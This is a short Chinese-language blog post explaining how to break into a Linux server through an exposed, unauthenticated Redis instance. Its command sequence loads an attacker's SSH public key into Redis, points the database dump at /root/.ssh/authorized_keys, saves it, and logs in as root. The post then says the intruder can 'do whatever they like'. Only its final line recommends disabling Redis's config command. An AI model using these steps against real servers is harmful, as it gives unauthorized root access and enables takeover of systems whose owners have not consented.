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        <p>熟悉linux ssh应该知道可以在authorized_keys添加自己的共有密钥以达到免密码登录系统的目的。本文将展现如何通过redis漏洞达到入侵系统的目的。</p>
<h3 id="前提"><a href="#前提" class="headerlink" title="前提"></a>前提</h3><p>redis 开放端口：0.0.0.0:6379</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">smou:_posts $ ps x|grep redis</span><br><span class="line">29251   ??  S      0:00.04 /usr/<span class="built_in">local</span>/opt/redis/bin/redis-server 0.0.0.0:6379</span><br></pre></td></tr></table></figure>
<h3 id="入侵过程"><a href="#入侵过程" class="headerlink" title="入侵过程"></a>入侵过程</h3><h5 id="1-创建公钥-ssh-id-rsa-pub，有则跳过"><a href="#1-创建公钥-ssh-id-rsa-pub，有则跳过" class="headerlink" title="1. 创建公钥~/.ssh/id_rsa.pub，有则跳过"></a>1. 创建公钥~/.ssh/id_rsa.pub，有则跳过</h5><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh-keygen -t rsa</span><br></pre></td></tr></table></figure>
<p>一路确认就行</p>
<h5 id="2-生成前面带有双换行的临时文件"><a href="#2-生成前面带有双换行的临时文件" class="headerlink" title="2. 生成前面带有双换行的临时文件"></a>2. 生成前面带有双换行的临时文件</h5><p>进入~/.ssh/<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> -n -e <span class="string">'\n\n'</span> &gt; 2 &amp;&amp; cat id_rsa.pub &gt;&gt;2</span><br></pre></td></tr></table></figure></p>
<h5 id="3-入侵"><a href="#3-入侵" class="headerlink" title="3. 入侵"></a>3. 入侵</h5><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 设置key, crackit = 2文件内容</span></span><br><span class="line">cat 2 | redis-cli -h 192.168.12.101 -x <span class="built_in">set</span> crackit </span><br><span class="line"></span><br><span class="line"><span class="comment"># 连接服务器</span></span><br><span class="line">redis-cli -h 192.168.12.101</span><br><span class="line"></span><br><span class="line"><span class="comment"># 设置目录（注意是用户的home目录，不一定root）</span></span><br><span class="line">config <span class="built_in">set</span> dir /root/.ssh</span><br><span class="line"></span><br><span class="line"><span class="comment"># 设置文件名</span></span><br><span class="line">config <span class="built_in">set</span> dbfilename authorized_keys</span><br><span class="line"></span><br><span class="line"><span class="comment"># 保存</span></span><br><span class="line">save</span><br></pre></td></tr></table></figure>
<h5 id="4-登录"><a href="#4-登录" class="headerlink" title="4. 登录"></a>4. 登录</h5><p>这时候通过 ssh <a href="mailto:root@192.168.12.101" target="_blank" rel="noopener">root@192.168.12.101</a> 就能进入系统，接下来就可以为所欲为.</p>
<h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>所以使用redis，注意关闭config功能，否则，就要等着哭了。</p>

      
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              <div class="post-toc-content"><ol class="nav"><li class="nav-item nav-level-3"><a class="nav-link" href="#前提"><span class="nav-number">1.</span> <span class="nav-text">前提</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#入侵过程"><span class="nav-number">2.</span> <span class="nav-text">入侵过程</span></a><ol class="nav-child"><li class="nav-item nav-level-5"><a class="nav-link" href="#1-创建公钥-ssh-id-rsa-pub，有则跳过"><span class="nav-number">2.0.1.</span> <span class="nav-text">1. 创建公钥~/.ssh/id_rsa.pub，有则跳过</span></a></li><li class="nav-item nav-level-5"><a class="nav-link" href="#2-生成前面带有双换行的临时文件"><span class="nav-number">2.0.2.</span> <span class="nav-text">2. 生成前面带有双换行的临时文件</span></a></li><li class="nav-item nav-level-5"><a class="nav-link" href="#3-入侵"><span class="nav-number">2.0.3.</span> <span class="nav-text">3. 入侵</span></a></li><li class="nav-item nav-level-5"><a class="nav-link" href="#4-登录"><span class="nav-number">2.0.4.</span> <span class="nav-text">4. 登录</span></a></li></ol></li></ol></li><li class="nav-item nav-level-3"><a class="nav-link" href="#总结"><span class="nav-number">3.</span> <span class="nav-text">总结</span></a></li></ol></div>
            

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